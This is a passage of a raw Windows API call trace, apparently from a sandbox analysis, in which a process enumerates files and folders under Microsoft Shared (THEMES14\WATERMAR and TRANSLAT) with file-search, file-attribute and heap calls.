lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0061.577] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa03ba8) returned 1 [0061.577] NtClose (Handle=0x160) returned 0x0 [0061.577] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0061.578] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.578] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0061.578] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0061.578] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.578] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa01cc8 [0061.578] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0061.578] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.578] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x623, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0061.578] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.578] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.578] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.578] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.578] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.578] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa01dd0 [0061.578] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0061.578] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ffb80 [0061.578] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa01ed8 [0061.578] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.578] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x75da, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0061.578] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.578] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.578] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.578] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.578] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.579] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa03bc0 [0061.579] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa01fe0 [0061.579] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.579] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37d2a200, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37d2a200, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbfc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.ELM", cAlternateFileName="")) returned 1 [0061.579] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.579] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.579] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.579] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.579] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.579] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa03be0 [0061.579] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa020e8 [0061.579] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.579] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.INF", cAlternateFileName="")) returned 1 [0061.579] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.579] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.579] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.579] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.579] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.579] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa03c00 [0061.579] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa021f0 [0061.579] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.579] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.INF", cAlternateFileName="")) returned 0 [0061.579] GetLastError () returned 0x12 [0061.579] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0061.580] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0061.580] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.580] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x623, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0061.580] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x75da, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0061.580] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37d2a200, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37d2a200, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbfc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.ELM", cAlternateFileName="")) returned 1 [0061.580] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.INF", cAlternateFileName="")) returned 1 [0061.580] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.INF", cAlternateFileName="")) returned 0 [0061.580] GetLastError () returned 0x12 [0061.580] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa01cc8) returned 1 [0061.580] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0061.580] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa01dd0) returned 1 [0061.580] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0061.580] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR", cAlternateFileName="")) returned 0 [0061.580] GetLastError () returned 0x12 [0061.580] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0061.580] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0061.580] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9eea98) returned 1 [0061.580] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0061.580] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSLAT", cAlternateFileName="")) returned 1 [0061.580] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0061.580] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT" (normalized: "c:\\program files\\common files\\microsoft shared\\translat"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0061.581] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT" (normalized: "c:\\program files\\common files\\microsoft shared\\translat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0061.581] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0061.581] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa043a8 [0061.581] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa043a8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xa043a8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0061.581] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa043a8) returned 1 [0061.581] NtClose (Handle=0x168) returned 0x0 [0061.581] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0061.581] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0061.581] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0061.581] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.581] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0061.595] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.595] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARFR", cAlternateFileName="")) returned 1 [0061.600] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENES", cAlternateFileName="")) returned 1 [0061.600] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENFR", cAlternateFileName="")) returned 1 [0061.600] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ESEN", cAlternateFileName="")) returned 1 [0061.600] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRAR", cAlternateFileName="")) returned 1 [0061.600] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FREN", cAlternateFileName="")) returned 1 [0061.600] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd541900, ftCreationTime.dwHighDateTime=0x1c911ec, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd541900, ftLastWriteTime.dwHighDateTime=0x1c911ec, nFileSizeHigh=0x0, nFileSizeLow=0x205b0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1AR.LEX", cAlternateFileName="")) returned 1 [0061.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0061.608] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0061.608] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0061.608] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0061.608] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0061.608] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9eea98 [0061.608] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0061.608] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa03c20 [0061.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa01dd0 [0061.609] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0061.609] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7780a100, ftCreationTime.dwHighDateTime=0x1c4d75f, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7780a100, ftLastWriteTime.dwHighDateTime=0x1c4d75f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1CACH.LEX", cAlternateFileName="")) returned 1 [0061.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0061.609] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0061.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0061.609] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0061.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0061.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa03c40 [0061.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa01cc8 [0061.609] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0061.609] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5c6bc00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5c6bc00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x2b990, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1CORE.DLL", cAlternateFileName="")) returned 1 [0061.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0061.609] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0061.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0061.609] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0061.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0061.609] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0061.609] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38c6e400, ftCreationTime.dwHighDateTime=0x1ca6d6a, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x38c6e400, ftLastWriteTime.dwHighDateTime=0x1ca6d6a, nFileSizeHigh=0x0, nFileSizeLow=0x40f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1STAR.DLL", cAlternateFileName="")) returned 1 [0061.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0061.609] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0061.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0061.610] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0061.610] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0061.610] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0061.610] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4958f00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4958f00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x11390, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1XTOR.DLL", cAlternateFileName="")) returned 1 [0061.610] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0061.610] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0061.610] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0061.610] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0061.610] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0061.610] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0061.610] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44a7300, ftCreationTime.dwHighDateTime=0x1c3af23, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44a7300, ftLastWriteTime.dwHighDateTime=0x1c3af23, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x0, dwReserved1=0x0, 